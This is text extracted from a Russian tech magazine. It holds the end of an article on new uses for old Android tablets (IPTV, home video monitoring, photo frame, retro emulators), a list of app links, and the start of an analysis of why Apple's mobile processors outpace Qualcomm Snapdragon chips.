Отоб ража ет  погоду,  ста тус  Wi‐Fi  и  Bluetooth,  управле ние  текущей  музыкой
и нас трой ки яркости.

Car Launcher AG

Ин терфейс Car Launcher AG

Ко неч но,  есть  более  серь езные  вари анты  исполь зовать  план шет  в машине.
На  темати чес ких  форумах  най дет ся  мно го  про ектов  пол ной  интегра ции
с  авто мобиль ной  меди асис темой,  в  допол нение  к  штат ной  маг нитоле
в  качес тве  голов ного  устрой ства  с  обес печени ем  работы  кно пок  на  руле.
Но это уже сов сем дру гая исто рия.

МИНИ-ТЕЛЕВИЗОР ДЛЯ КУХНИ
При ложе ний  для  прос мотра  телеви дения  в  мар кете  мно го,  каж дый  най дет
себе  по  вку су.  Прин цип  работы  у  них  один:  по  сути  это  обо лоч ка,  которой
мож но  скар мли вать  плей‐лис ты  IPTV  сво его  про вай дера  или  най ден ные
в откры тых источни ках (обыч но в виде M3U или XSPF).

В  качес тве  при мера  мож но  при вес ти  ,  который  так же  под держи вает
муль тикаст‐потоки  через  UDP‐прок си,  име ет  катего рии  каналов,  исто рию
плей‐лис тов, телеп рограм мы в фор матах XMLTV и JTV. Так же популя рен кли‐ 
ент  , который име ет чуть боль ше воз можнос тей: это под дер жка ссы‐ 
лок  vk‐видео/YouTube;  вос про изве дение  плей‐лис тов  интернет‐радио  через
встро енный  про игры ватель;  авто обновле ния  плей‐лис та;  экспорт  плей‐лис‐ 
тов  и  избран ного  в файл  в  раз личных фор матах;  напоми нания  о  переда чах
из  ТВ‐прог раммы;  поиск  каналов  по  всем  плей‐лис там;  сис тема  родитель‐ 
ско го кон тро ля.

IPTV

LAZY IPTV

Спи сок каналов IPTV

Дру гая  тех нология  для  прос мотра  передач — это  прог рамма 
, работа ющая в режиме peer‐to‐peer. Пос ле пер вого запус ка пред‐ 

ложит  ска чать  и  уста новить  Ace  Stream  Engine,  необ ходимый  для  работы.
На момент написа ния статьи содер жит 929 каналов, раз битых по катего риям.
При ложе ние  так же  поз воля ет  запус кать  любой  torrent‐файл  и  начать  прос‐ 
мотр, не дожида ясь пол ной заг рузки.

Torrent Stream
Controller

Дос тупные катего рии с канала ми в Torrent Stream Controller

БЮДЖЕТНАЯ СИСТЕМА ВИДЕОНАБЛЮДЕНИЯ
Сце нари ев исполь зования виде онаб людения может быть нес коль ко, но оста‐ 
новим ся  на  вари анте  «виде оня ни»  в  локаль ной  Wi‐Fi‐сети.  План шет  мож но
исполь зовать с двух сто рон:  в  качес тве монито ра с сетевой или  IP‐камерой
(нап ример, повесить над вход ной дверью либо из окна или с бал кона сле дить
за машиной) или же он может выс тупать в роли такой камеры. Отдель ной IP‐
камеры  у  меня  нет,  поэто му  покажу  прин цип  работы  план шета  в  связ ке
с Nexus 5.

При ем изоб ражения
Пос тавим на телефон  . Она может отда вать видео в сеть в раз ных
фор матах,  под держи вает  прос мотр  через  бра узер  и  поз воля ет  нас тро ить
вклю чение  и  запись  в  слу чае  обна руже ния  дви жения.  Пос ле  запус ка  нап‐ 
равля ем камеру смар тфо на в нуж ное мес то, бло киру ем экран и под клю чаем
смар тфон к заряд нику.

IP Webcam

Нас трой ки IP Webcam

При нимать  изоб ражение  на  план шете  будем  через  .  Пос ле
уста нов ки  вызыва ем  меню  свай пом  сле ва  и  находим  пункт  «Ска ниро вать
сеть». Пос ле ска ниро вания дос тупных в сети камер, а их может быть нес коль‐ 
ко,  добав ляем  нуж ную  нажати ем  соот ветс тву ющей  икон ки  в  углу.  Затем
перехо дим  во  вклад ку  «Прос мотр»,  ждем  соеди нения  и  смот рим  кар тинку
с телефо на.

tinyCam  Monitor

Наб люда ем за дво ром с помощью камеры Nexus 5 и план шета

План шет в качес тве камеры
Тут все очень прос то: меня ем при ложе ния мес тами и смот рим про исхо дящее
на телефо не. Если нуж но усложнить задачу и смот реть поток вне дома, про ще
вос поль зовать ся  спе циаль ным  сер висом,  нап ример  .  Пос ле  прос той
регис тра ции  он  даст  дос туп  к  под клю чен ным  камерам  через  бра узер. Опи‐ 
сан ная  выше  IP  Webcam  как  раз  име ет  интегра цию  с  Ivideon  (вклю чает ся
в нас трой ках).

Ivideon

У  Ivideon  есть  удоб ное  ,  которое  поз волит  под клю чить ся
к  камерам  из  любой  точ ки  мира.  Одна  из  при меча тель ных  осо бен ностей
прог раммы —  push‐уве дом ления,  ког да  в  поле  зре ния  камеры  замеча ется
дви жение.  При  этом  мож но  пос мотреть  десяти секун дный  ролик,  сня тый
при  обна руже нии  дви жения.  Плат ной  под пиской  акти виру ется  запись  все го
потока  с  камер  в  обла ко.  Для  воз можнос ти  переда чи  потока  с  обыч ной
веб‐камеры необ ходимо допол нитель но пос тавить Ivideon server.

при ложе ние

Прос мотр виде опо тока через мобиль ную сеть и push‐уве дом ления
Ivideon

МОНИТОР СИСТЕМНЫХ РЕСУРСОВ
Ре шение для истинных  гиков. Ста вим на  комп  ,  на план шет
про гу  ,  при думы ваем  пароль  на  ком пе,  кон нектим
с план шета и смот рим на пол ную информа цию о железе ком па, вклю чая:

сер верную часть
Remote  System  Monitor

тем перату ру (про цес сора, виде оус корите ля, жес тких дис ков и про чего);•
заг ружен ность CPU и GPU;•
ис поль зование опе ратив ки, виде опа мяти и фай ла под качки;•
отоб ражение воль тажа;•
пол ную инфу о жес тких дис ках, в том чис ле ско рость записи/чте ния;•
ско рос ти  вра щения  вен тилято ров  и  воз можность  их  кон тро ля  (если
это пре дус мотре но);

•

ско рость переда чи дан ных по сети.•

Remote System Monitor

ФОТОРАМКА
План шет  лег ко  прев ратить  в  фоторам ку  для  показа  нуж ных  фотог рафий
или  аль бомов.  Прог рамм  в  мар кете  для  это го  хва тает.  Нап ример, 

 — прос тая фоторам ка, мно жес тво нас тро ек,  в бете под дер жка DLNA.
Сре ди  нас тро ек  есть  дли тель ность  показа  фото,  ско рость  обновле ния,
эффекты, выбор отоб ражения толь ко фото, сов пада ющих с текущей ори ента‐ 
цией, часы поверх фото, запуск толь ко при под клю чении внеш него источни ка
питания.  В  плат ной  вер сии  допол нитель но  мож но  выб рать  дви гающуюся
панора му, нас тро ить запуск по рас писанию.

Photo
Slides

Для тех, кто хочет видеть фото в том чис ле из соци аль ных сетей, есть при‐ 
ложе ние  .  Оно  уме ет  показы вать  фотог рафии
из Facebook, Dropbox, Flickr, Instagram, Tumblr, Twitter, 500px, Google+ и Google
Photo.

Dayframe  (Photos  &  Slideshow)

Нас трой ки Dayframe

МЕДИАЦЕНТР
Ес ли под дер жка сим‐карт есть не во всех моделях план шетов, то Wi‐Fi и Blue‐
tooth  встро ены  вез де.  Поэто му  кача ем  музыку  на  план шет  или,  что бы  было
раз нооб разие, прос то ста вим один из мно гочис ленных сер висов потоко вого
вещания типа  ,    или  . Даль ше дело  тех‐ 
ники: или через Bluetooth к колон ке, или через mini‐jack к любому устрой ству
с ауди овхо дом или колон кам.

TuneIn Radio SoundCloud Spotify Music

Ка талог TuneIn Radio и под борка плей‐лис тов в SoundCloud

ГОЛОСОВОЙ АССИСТЕНТ
План шет  лег ко  прев ратить  в  «Amazon  Alexa  для  бед ных».  Дос таточ но  пос‐ 
тавить его на  заряд ник,  деак тивиро вать отклю чение экра на и  задавать  воп‐ 
росы  через  Ok,  Google.  Так же  мож но  вос поль зовать ся  рус ски ми  помощ‐ 
ницами —   или  . Если Гугл подой дет
в основном для прос того поис ка информа ции в интерне те и ее озву чива ния
голосом,  то  пос ледние  две  прог раммы  под держи вают  гораз до  более
широкий спектр команд.

ас систен том Дусей ян дексов ской Али сой

Ду ся  может  делать  напоми нания,  перево дить  текст,  зачиты вать  новос ти,
счи тать,  управлять  умным  домом  и  домаш ним  киноте атром,  уста нав ливать
тай меры и будиль ники,  искать мар шру ты общес твен ного  тран спор та,  име ет
дос туп к «ВКон такте» и интегра цию с тас кером. Ну а с помощью скрип тов (их
мож но  уста новить  через  само  при ложе ние)  получит ся  зна читель но  рас‐ 
ширить  встро енные  воз можнос ти  ассистен та.  Нап ример,  поиг рать  с  ботом
в  города, най ти и пос тавить музыку из ВК, написать сооб щение в WhatsApp
и Viber, выз вать так си, пос лушать слу чай ный анек дот или загад ку и так далее.
Ну а одной из самых полез ных фун кций будет озву чива ние голосом уве дом‐ 
лений от дру гих прог рамм.

У  Али сы  набор  воз можнос тей  помень ше,  но  и  сре ди  них  есть  полез ные:
запуск музыки, игры, поиск информа ции, а так же управле ние ком пом.

Спи сок фун кций и каталог скрип тов Дуси

ИНФОРМАЦИОННАЯ ПАНЕЛЬ
Хо чешь всег да быть в  кур се событий? Нет ничего про ще. Ставь любой пон‐ 
равив ший ся прог ноз погоды и новос тную лен ту, добав ляй вид жеты на экран
и не забудь вклю чить опцию «Не вык лючать экран во вре мя заряд ки» в нас‐ 
трой ках для раз работ чиков (напом ню, что они ста нут дос тупны, если в меню
«О план шете» тап нуть семь раз на номере сбор ки).

По года и вид жеты

РЕТРОКОНСОЛЬ
Ну и напос ледок нем ного нос таль гии. Если ста рые по сегод няшним мер кам
план шеты и телефо ны не потянут сов ремен ные игры, они все еще могут пос‐ 
лужить в качес тве инс тру мен та для воз вра та в девянос тые. В мар кете мно го
раз личных  эму лято ров  NES  (у  нас  более  извес тная  сво им  кло ном  Dendy),
SEGA, GameBoy, PS и про чего.

Боль шинс тво эму лято ров уже содер жат игры, в дру гих необ ходимо пред‐ 
варитель но  качать  игро вые фай лы  или  архи вы.  Ну  а  для  более  ком фор тной
игры  мож но  вос поль зовать ся  ,  которая  поз воля ет  исполь‐ 
зовать джой сти ки Sixaxis и Dual Shock 3/4. Кста ти, у меня прек расно зарабо‐ 
тал китай ский клон, куп ленный на eBay.

Sixaxis  Controller

Ес ли же тво ей пер вой «кон солью» был ста ционар ный комп, то мож но пос‐ 
тавить  , который под держи вает Voodoo Graphics, IPX Networking,
PCI  Devices  и Windows,  вклю чая DirectX.  А  это  зна чит,  мож но  взять  с  собой
в дорогу DOOM, Quake, Warcraft 2, Starcraft 1, Fallout 2, Diablo 2, Age of Empires
2 и дру гие клас сичес кие шедев ры.

DosBox Turbo

Ми нималь ные тре бова ния: Dual‐core 1,2 ГГц, Adreno 220 / Nvidia Tegra 2,
256 Мбайт RAM (но луч ше 1 Гбайт), 2 Гбайт сво бод ной памяти. Пол ный спи‐ 
сок под держи ваемых игр мож но най ти на  .XDA

Ста рая доб рая Contra

ЗАКЛЮЧЕНИЕ
Ко неч но, это не все воз можные при мене ния ста рых устрой ств. Для всех вари‐ 
антов  прос то  не  хва тило бы  нес коль ких  ста тей,  но,  наде юсь,  я  в  оче ред ной
раз  нап равил  тебя  на  инте рес ный  путь  и  под виг  на  экспе римен ты.  А  как  ты
исполь зуешь свой ста рый план шет или телефон?

mailto:john.brada.doe@gmail.com
https://play.google.com/store/apps/details?id=com.idisplay.virtualscreen
http://www.getidisplay.com/
https://www.apkmirror.com/apk/google-inc/android-auto/
https://play.google.com/store/apps/details?id=com.bitspice.automate
https://play.google.com/store/apps/details?id=com.nezdroid.cardashdroid
https://play.google.com/store/apps/details?id=altergames.carlauncher&rdid=altergames.carlauncher
https://play.google.com/store/apps/details?id=ru.iptvremote.android.iptv&rdid=ru.iptvremote.android.iptv
https://play.google.com/store/apps/details?id=com.lazycatsoftware.iptv
http://www.vidsoftware.ru/
https://play.google.com/store/apps/details?id=com.pas.webcam
https://play.google.com/store/apps/details?id=com.alexvas.dvr&hl=ru
https://ru.ivideon.com/
https://play.google.com/store/apps/details?id=com.ivideon.client
http://www.trigonesoft.com/
https://play.google.com/store/apps/details?id=com.trigonesoft.rsm&rdid=com.trigonesoft.rsm
https://play.google.com/store/apps/details?id=softick.android.photoframe
https://play.google.com/store/apps/details?id=cloudtv.dayframe
https://play.google.com/store/apps/details?id=tunein.player
https://play.google.com/store/apps/details?id=com.soundcloud.android
https://play.google.com/store/apps/details?id=com.spotify.music
https://play.google.com/store/apps/details?id=com.dusiassistant
https://play.google.com/store/apps/details?id=com.yandex.browser
https://play.google.com/store/apps/details?id=com.dancingpixelstudios.sixaxiscontroller
https://play.google.com/store/apps/details?id=com.fishstix.dosbox
https://forum.xda-developers.com/showthread.php?p=44730248#post44730248
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X‐MOBILE

По чему  iPhone  7  работа ет  быс трее  Samsung  Galaxy  S7,
а iPhone 8 — быс трее Galaxy S8? Дело тут в раз личной иде‐ 
оло гии  опе раци онных  сис тем,  а  кро ме  того,  одним
из  основных  пре иму ществ  Apple  были  и  оста ются  уни каль‐ 
ные  сис темы на  крис тал ле. Про цес соры A10  и A11  замет но
обго няют  в  бен чмар ках  ана логич ные  пред ложения  от Qual‐
comm  в  лице  Snapdragon  820/821  и  Snapdragon  835  соот‐ 
ветс твен но.  Почему  так  про исхо дит?  В  чем  зак люча ется
«магия  Apple»?  Оста вив  за  бор том  аргу мен ты  в  сти ле
«Андро ид  луд ше!»,  поп робу ем  разоб рать ся  в  при чинах,
которые  при вели  к  пре вос ходс тву  мобиль ных  про цес соров
Apple над пред ложени ями Qualcomm.

ФАКТОР ПЕРВЫЙ: ТАК СЛОЖИЛОСЬ
Вспом ним  2013  год.  В  арсе нале  Qualcomm —  весь ма  удач ные  чипы  Snap‐
dragon  800,  осно ван ные  на  32‐раз рядных  ядрах  Krait  400  собс твен ной  раз‐ 
работ ки. На этом чипе (и его пос ледова теле, Snapdragon 801) были выпуще‐ 
ны десят ки, если не сот ни самых раз нооб разных моделей. На момент анон са
у  топово го  чип сета  Qualcomm  прос то  не  было  аль тер натив:  осно ван ные
на ядрах ARM Cortex A15 решения были про жор ливы до чрез вычай нос ти и не
мог ли сос тавить кон курен цию четырем кас томным ядрам Krait. Вро де бы все
хорошо, Qualcomm — царь горы, дос таточ но про дол жать раз вивать удач ную
архи тек туру. Казалось бы, что может пой ти не так?

Но — по поряд ку. В 2011 году ком пания ARM Holdings анон сирова ла архи‐ 
тек туру  ARMv8,  исполь зование  которой  откры вало  мно гочис ленные  воз‐ 
можнос ти  уско рения  час ти  спе циаль ных  видов  вычис лений  —  нап ример,
потоко вого  шиф рования,  которое  (забегу  впе ред)  сегод ня  исполь зует ся
прак тичес ки во всех смар тфо нах. Пер выми мобиль ными ядра ми дан ной архи‐ 
тек туры ста ли Cortex A53 и A57, анон сирован ные хол дингом ARM в 2012 году.
В то же вре мя в ARM прог нозиро вали выход готовых про цес соров на новых
ядрах лишь на 2014 год. Вот толь ко Apple, обла дате ли архи тек турной лицен‐ 
зии ARM, успе ли пер выми — поч ти на год рань ше кон курен тов.

Итак, в нояб ре 2013‐го Apple выпус кает  iPhone 5s. Помимо дат чика отпе‐ 
чат ков  паль цев  и  встро енной  сис темы  безопас ности  Secure  Enclave,  новый
iPhone впер вые на рын ке осна щает ся 64‐раз рядным про цес сором Apple A7
ARMv8.  Новый  про цес сор  показы вает  чудеса  про изво дитель нос ти  в  Geek‐
bench:  резуль тат  двухъ ядер ного  про цес сора  в  одно поточ ных  вычис лени ях
в пол тора раза пре вос ходит резуль таты ядер Krait 400, в мно гопо точ ных наб‐ 
люда ется паритет.

Рас ширен ный  набор  команд  ARMv8  при шел ся  как  нель зя  более  кста ти:
имен но в iPhone 5s Apple встро ила аппа рат ную сис тему безопас ности Secure
Enclave, которая отве чает в том чис ле и за шиф рование дан ных. С точ ки зре‐ 
ния  Apple  выбор  64‐раз рядной  архи тек туры  был  впол не  логичен:  толь ко
в  ядрах  с  под дер жкой  ARMv8  появи лись  инс трук ции  для  уско рения  потоко‐ 
вого шиф рования, которое на тот момент исполь зовалось Apple уже доволь‐ 
но дав но. В даль нейшем исполь зование новых ядер поз волило Apple добить‐ 
ся  бес пре цеден тных  ско рос тей  дос тупа  к  зашиф рован ным  дан ным  —
выпущен ный на год поз же Nexus 6, осно ван ный на 32‐раз рядном Qualcomm
Snapdragon 805 (ARMv7), показы вал ужа сающую про изво дитель ность потоко‐ 
вого крип то: дос туп к зашиф рован ным дан ным осу щест влял ся в 3–5 раз мед‐ 
леннее, чем к незашиф рован ным.

По нача лу 64‐раз рядная архи тек тура в  смар тфо нах  вос при нима лась обы‐ 
вате лями — да и мно гими экспер тами — как чис тей шей воды мар кетинг. Так
счи тали поль зовате ли, и так говори ли руково дите ли Qualcomm — по край ней
мере, в сво их офи циаль ных выс тупле ниях.

В  2014  году  выходит  iPhone  6,  осна щен ный  про цес сором  A8,  так же
работа ющим  с  сис темой  команд ARMv8.  Чем отве чает Qualcomm? Неболь‐ 
шим обновле нием: на рын ке домини руют смар тфо ны, работа ющие на Snap‐
dragon 801 (32 бита, ARMv7). Так же выходит Snapdragon 805, исполь зующий
те же ядра Krait  400,  но с более мощ ным GPU. Про цес соры Apple ока зыва‐ 
ются быс трее ана логов от Qualcomm как в одно поточ ных, так и в мно гопо точ‐ 
ных вычис лени ях, а в спе цифи чес ких при мене ниях — нап ример, в реали зации
поточ ного шиф рования — обхо дят решения кон курен тов прос то в разы. Qual‐
comm  уси лен но  дела ет  вид,  что  ничего  необыч ного  не  про исхо дит,  но  про‐ 
изво дите ли,  нас тупая  на  гор ло,  тре буют  кон курен тоспо соб ную  SoC.  Qual‐
comm ничего не оста ется, как вклю чить ся в гон ку.

В 2015 году Apple выпус кает iPhone 6s и A8, Qualcomm — чип Snapdragon
810 и его уре зан ную вер сию Snapdragon 808. Эти про цес соры яви лись отве‐ 
том Qualcomm на тре бова ния пар тне ров. Одна ко отсутс твие опы та раз работ‐ 
ки  64‐раз рядных  чипов  сыг рало  с  ком пани ей  злую  шут ку:  оба  про цес сора
ока зались чрез вычай но неудач ными. С пер вых же дней про цес соры про яви ли
склон ность  к  чрез мерно му  энер гопот ребле нию,  перег реву  и  трот лингу,
в резуль тате  которо го их  усто явша яся про изво дитель ность через нес коль ко
минут работы мало отли чалась от про изво дитель нос ти Snapdragon 801.

Ка кой же из все го это го мож но сде лать вывод? Вывод один: Apple зас тала
индус трию  врас плох,  исполь зовав  ядра  с  новой  архи тек турой  тог да  и  там,
где, казалось бы, в этом нет никакой необ ходимос ти. В резуль тате Qualcomm
ока залась в роли догоня ющей, а Apple получи ла фору в пол тора года. Почему
так про изош ло?

Здесь нуж но рас смот реть осо бен ности цик ла раз работ ки мобиль ных про‐ 
цес соров.

Срав нение про изво дитель нос ти Apple A9 и дру гих про цес соров

ФАКТОР ВТОРОЙ: РАЗНИЦА В ЦИКЛАХ РАЗРАБОТКИ
Итак,  мы  выяс нили,  что  Apple  уда лось  выр вать ся  впе ред,  на  пол тора  года
опе редив кон курен тов. Как такое мог ло слу чить ся? При чина в раз нице в цик‐ 
лах  раз работ ки  у  Apple  и  про изво дите лей  смар тфо нов  под  управле нием
Android.

Как  извес тно, Apple  пол ностью  кон тро лиру ет  раз работ ку  и  про изводс тво
iPhone,  начиная  с  самого  низ кого  уров ня  —  про екти рова ния  про цес сора.
И если гра фичес кие ядра до недав него вре мени Apple лицен зирова ла у Imag‐
ination  Technologies,  то  про цес сорные  ядра  ком пания  пред почита ла  раз‐ 
рабаты вать самос тоятель но.

Как выг лядит цикл раз работ ки у Apple? На осно ве архи тек турной лицен зии
ARM  про екти рует ся  про цес сор,  сов мести мый  с  задан ной  сис темой  команд
(ARMv8).  Одновре мен но  раз рабаты вает ся  смар тфон,  в  котором  будет
исполь зовать ся  дан ный  про цес сор.  Парал лель но  для  него  соз дают ся  все
необ ходимые  драй веры,  ОС,  про изво дит ся  опти миза ция.  Все  про исхо дит
в рам ках одной ком пании; у раз работ чиков ОС нет никаких проб лем с получе‐ 
нием  дос тупа  к  исходным  кодам  драй веров,  а  раз работ чики  драй веров,
в свою оче редь, име ют воз можность общать ся с людь ми, про екти ровав шими
про цес сор.

Apple A11

Про изводс твен ный цикл устрой ств на Android выг лядит совер шенно ина че.
В пер вую оче редь в игру всту пает ARM, раз работ чик одно имен ных сис тем

команд и про цес сорных архи тек тур. Имен но ARM про екти рует референ сные
про цес сорные ядра. Так, в далеком 2012 году были анон сирова ны ядра ARM
Cortex  A53,  на  которых  осно вано  подав ляющее  боль шинс тво  смар тфо нов,
выпущен ных в 2015, 2016 и 2017 годах.

Ми нуточ ку! 2012? Имен но так: 64‐раз рядные ядра A53 были анон сирова ны
в октябре 2012  года. Но архи тек тура ядра — это одно, а реаль ные про цес‐ 
соры — сов сем дру гое: ARM Holdings их прос то не выпус кает, пред лагая пар‐ 
тне рам референ сные дизай ны, но не пос тавляя на рынок сами SoC. Преж де
чем на рын ке появит ся смар тфон, осно ван ный на той или иной архи тек туре,
кто‐то дол жен раз работать и выпус тить готовую сис тему на крис талле, SoC.

Нес мотря  на  пуб личные  выс тупле ния  собс твен ных  пред ста вите лей,
в  2013  году  в Qualcomm  уси лен но  работа ли  над  выпус ком  64‐бит ного  про‐ 
цес сора.  На  раз работ ку  собс твен ного  ядра  вре мени  не  оста валось;  приш‐ 
лось  брать  что  дают.  Давали —  архи тек туру  big.LITTLE,  куда  на  тот  момент
вхо дили «малые» ядра Cortex A53 (удач ные) и «боль шие» ядра A57 (доволь но
спор ные с точ ки зре ния энер гоэф фектив ности и трот линга).

Пер вые  про цес соры  Qualcomm,  осно ван ные  на  этих  ядрах,  были  анон‐ 
сирова ны в 2014  году. Но  ведь про цес сор — это еще не  все! Как минимум
нужен еще кор пус, экран... Все это выпус кают OEM‐про изво дите ли, которые,
собс твен но  говоря,  и  занима ются  раз работ кой  и  про изводс твом  смар тфо‐ 
нов. А это тоже вре мя, и вре мя немалое.

На конец,  опе раци онная  сис тема.  Для  того  что бы  «завес ти»  Android
на  устрой стве,  необ ходим  набор  драй веров  для  нового  чип сета.  Драй веры
раз рабаты вает раз работ чик чип сета (нап ример, Qualcomm), пре дос тавляя их
про изво дите лям  смар тфо нов  для  интегра ции.  На  то,  что бы  разоб рать ся
и интегри ровать драй веры, у про изво дите ля так же ухо дит опре делен ное вре‐ 
мя.

Но и это еще не конец! Уже готовый смар тфон с работа ющей вер сией An‐
droid  необ ходимо  еще  и  сер тифици ровать  в  одной  из  лабора торий  Google
на  пред мет  сов мести мос ти  и  соот ветс твия  Android  Compatibility  Definition.
Это — тоже вре мя, которо го и без того катас тро фичес ки мало.

Ины ми сло вами, в том, что смар тфо ны на Snapdragon 808/810 мы уви дели
лишь в 2015 году, нет совер шенно ничего уди витель ного. Пер вые флаг ман‐ 
ские  чипы  Qualcomm,  осно ван ные  на  64‐раз рядной  архи тек туре,  отста ли
от SoC Apple на пол тора года. Это исто ричес кий факт, и это — реаль ное пре‐ 
иму щес тво Apple.

В 2015 году дли тель ный цикл раз работ ки и тре бова ния пар тне ров сыг рали
с  Qualcomm  злую шут ку:  пер вый  блин  ока зал ся  комом.  Впро чем,  ком пании
уда лось реаби лити ровать ся с выходом Snapdragon 820. Но не было ли слиш‐ 
ком поз дно?

Qualcomm Snapdragon 820

ФАКТОР ТРЕТИЙ: ВОПРОС РАЗМЕРА
Рас смот рим таб лицу, в которой срав нива ются два пос ледних поколе ния про‐ 
цес соров Apple и Qualcomm.

Тех про цесс1. 

16 нмA10 FUSION: 

10 нмA11 BIONIC: 

14 нмSNAPDRAGON 820: 

10 нмSNAPDRAGON 835: 

CPU2. 

64‐bit  Quad‐core,  2  Hurricane  2,34  ГГц  +  2
Zephyr
A10  FUSION: 

64‐bit Hexa‐core, 2 Monsoon + 4 MistralA11 BIONIC: 

64‐bit Quad‐core, 2 Kryo 1,59 ГГц + 2
Kryo 2,15 ГГц
SNAPDRAGON 820: 

64‐bit Octa‐core, 4 Kryo 280 2,45 ГГц +
4 Kryo 2801,9 ГГц
SNAPDRAGON 835: 

Уп равле ние ядра ми3. 

По клас терамA10 FUSION: 

По ядрамA11 BIONIC: 

По ядрамSNAPDRAGON 820: 

По ядрамSNAPDRAGON 835: 

GPU4. 

6 coreA10 FUSION: 

3 coreA11 BIONIC: 

Adreno 530SNAPDRAGON 820: 

Adreno 540SNAPDRAGON 835: 

Geekbench одно поточ ный5. 

3438A10 FUSION: 

4216A11 BIONIC: 

1698SNAPDRAGON 820: 

1868SNAPDRAGON 835: 

Geekbench мно гопо точ ный6. 

5769A10 FUSION: 

10118A11 BIONIC: 

3996SNAPDRAGON 820: 

6227SNAPDRAGON 835: 

Дан ные с сай та Geekbench

Что мы видим из этой таб лицы? Лег ко заметить, что про изво дитель ность
в  рас чете  на  одно  ядро  в  про цес сорах  Apple  в  два  с  лиш ним  раза  пре вос‐ 
ходит решения Qualcomm, да и мно гопо точ ная про изво дитель ность акту аль‐ 
ных поколе ний про цес соров отли чает ся прак тичес ки в пол тора раза. Почему
так получа ется? Ответ мож но поп робовать най ти в сле дующей таб личке.

Тех про цесс1. 

16 нмA10 FUSION: 

10 нмA11 BIONIC: 

14 нмSNAPDRAGON 820: 

10 нмSNAPDRAGON 835: 

Пло щадь чипа2. 

125 ммA10 FUSION:  2

87,66 ммA11 BIONIC:  2

113,7 ммSNAPDRAGON 820:  2

72,3 ммSNAPDRAGON 835:  2

Ес ли  отбро сить  пару  про цес соров  A10  Fusion  /  Snapdragon  820,  в  которых
исполь зуют ся  раз ные  тех нологи чес кие  про цес сы,  мож но  срав нить  пло щадь
чипов  A11  Bionic  и  Snapdragon  835.  Пло щадь  повер хнос ти  чипа  от  Apple
в 1,2 раза пре выша ет пло щадь решения Qualcomm. Что это озна чает на прак‐ 
тике? Воз можность исполь зовать боль ше тран зисто ров, более прод винутую
архи тек туру  ядер.  В  час тнос ти,  иссле дова тели  обна ружи ли,  что  в  A11 Bionic
«сла бые» про цес сорные ядра в нес коль ко раз круп нее малых ядер A53 (прос‐ 
тите — Kryo 280), исполь зующих ся в Snapdragon 835. Это озна чает, что даже
«малые»  ядра  A11  Bionic  под держи вают  вне оче ред ное  исполне ние  команд,
что  поз воля ет  получить  боль шую  про изво дитель ность  на  такт  в  срав нении
с пря моли ней ными ядра ми А53.

Пло щадь про цес сора нап рямую вли яет на его цену. Чем боль ше пло щадь
(при исполь зовании одно го тех про цес са), тем выше себес тоимость. Что под‐ 
водит нас к оче ред ному фак тору: сто имос ти про цес сора для про изво дите ля.

ФАКТОР ЧЕТВЕРТЫЙ: ВОПРОС ЦЕНЫ
Сог ласно   пло щадь про цес сорных ядер Apple A10 Fu‐
sion  вдвое  пре выша ет  пло щадь  ядер  бли жай шего  кон курен та,  Snapdragon
820.

от чету Android Authority

«Пре иму щес тво  Apple  в  том,  что  ком пания  может  себе  поз волить  пот‐ 
ратить  день ги  на  уве личе ние  пло щади  про цес сора,  пос тро енно го  по  пос‐ 
ледней  16‐наномет ровой  тех нологии  FinFET...  Нес коль ко  лиш них  дол ларов
не сыг рают боль шой роли в конеч ной сто имос ти устрой ства — а ведь Apple
смо жет  про дать  зна читель но  боль ше  600‐дол ларовых  устрой ств  бла года ря
нас толь ко боль шой про изво дитель нос ти», — пишет Лин ли Гвен нап, дирек тор
The Linley Group.

Дей стви тель но,  лиш ние  пять‐шесть  дол ларов  не  сыг рают  боль шой  роли
в конеч ной сто имос ти iPhone — это доли, в худ шем слу чае еди ницы про цен‐ 
тов  его  сто имос ти  для  пот ребите ля. Но  если  эти  пять‐шесть  дол ларов  спо‐ 
соб ны удво ить про изво дитель ность устрой ства по срав нению с кон курен тами
на Android — это прек расный аргу мент в поль зу Apple.

По чему так не выходит у Qualcomm? В цепоч ке раз работ ки про цес соров
для устрой ств под Android слиш ком мно го заин тересо ван ных лиц. Это и ARM,
которая  раз рабаты вает  и  лицен зиру ет  про цес сорные  ядра,  и  Qualcomm,
которая  про екти рует  готовые  про цес соры  по  лицен зии,  и  про изво дите ли
смар тфо нов  с Android.  У OEM‐про изво дите лей,  вынуж денных  кон куриро вать
меж ду собой ценами, на сче ту каж дый дол лар. Про изво дите ли хотят как мож‐ 
но более дешевых SoC (поэто му, кста ти, до сих пор так популяр ны решения,
пос тро енные на арха ичных сла бых ядрах A53), и Qualcomm при ходит ся с этим
счи тать ся. Но и Qualcomm, и ARM хотят отку сить кусок пирога, получив свою
долю  при были,  —  так  что  себес тоимость  решения,  ана логич ного  про цес‐ 
сорам Apple, выш ла бы даже более высокой, чем у Apple. В резуль тате OEM‐
про изво дите ли не смог ли бы себе поз волить мас совых закупок таких про цес‐ 
соров,  что  еще  уве личи ло  бы  их  сто имость.  (Кста ти,  имен но  это  слу чилось
с про цес сором MTK Helio X30 — он не поль зовал ся спро сом, и на его осно ве
выпус тили лишь два смар тфо на.)

Ко неч но,  здесь  мож но  аргу мен тировать,  что  у  Samsung  и  Huawei  есть
собс твен ные  линей ки  про цес соров  —  Exynos  и  Kirin  соот ветс твен но.  Но  у
Huawei  нет  сво их  раз работок,  в  ком пании  берут  готовые  ядра  ARM  Cortex
и готовые же гра фичес кие уско рите ли ARM Mali, собирая «собс твен ные» про‐ 
цес соры на их осно ве. Понят но, что вычис литель ные ядра этих про цес соров
не могут быть мощ нее тех, что пред лага ет ARM. В Samsung же про буют идти
путем  Apple,  выпус кая  собс твен ные  кас томизи рован ные  ядра  —  про изво‐ 
дитель ность которых, впро чем, недале ко ухо дит от обыч ных «сто ковых» ядер
ARM.

ФАКТОР ПЯТЫЙ: ВОПРОС КОНТРОЛЯ
В прош лом году в Apple сде лали инте рес ную вещь: волевым решени ем убра‐ 
ли под дер жку 32‐раз рядных при ложе ний из iOS 11. Так уж сов пало, что имен‐ 
но на этой вер сии ОС выш ла новая линей ка iPhone: 8, 8 Plus и X. Что это озна‐ 
чает с точ ки зре ния про изво дитель нос ти?

Воз можность взять и отка зать ся от под дер жки 32‐раз рядных команд дает
очень  и  очень  мно гое.  Упро щают ся  бло ки  декоди рова ния  и  исполне ния,
умень шает ся  тре буемое  чис ло  тран зисто ров.  Куда  идет  эта  эко номия?  Ее
мож но  пот ратить  на  умень шение пло щади про цес сора  (что  нап рямую  тран‐ 
сли рует ся в сни жен ную себес тоимость и умень шен ное энер гопот ребле ние),
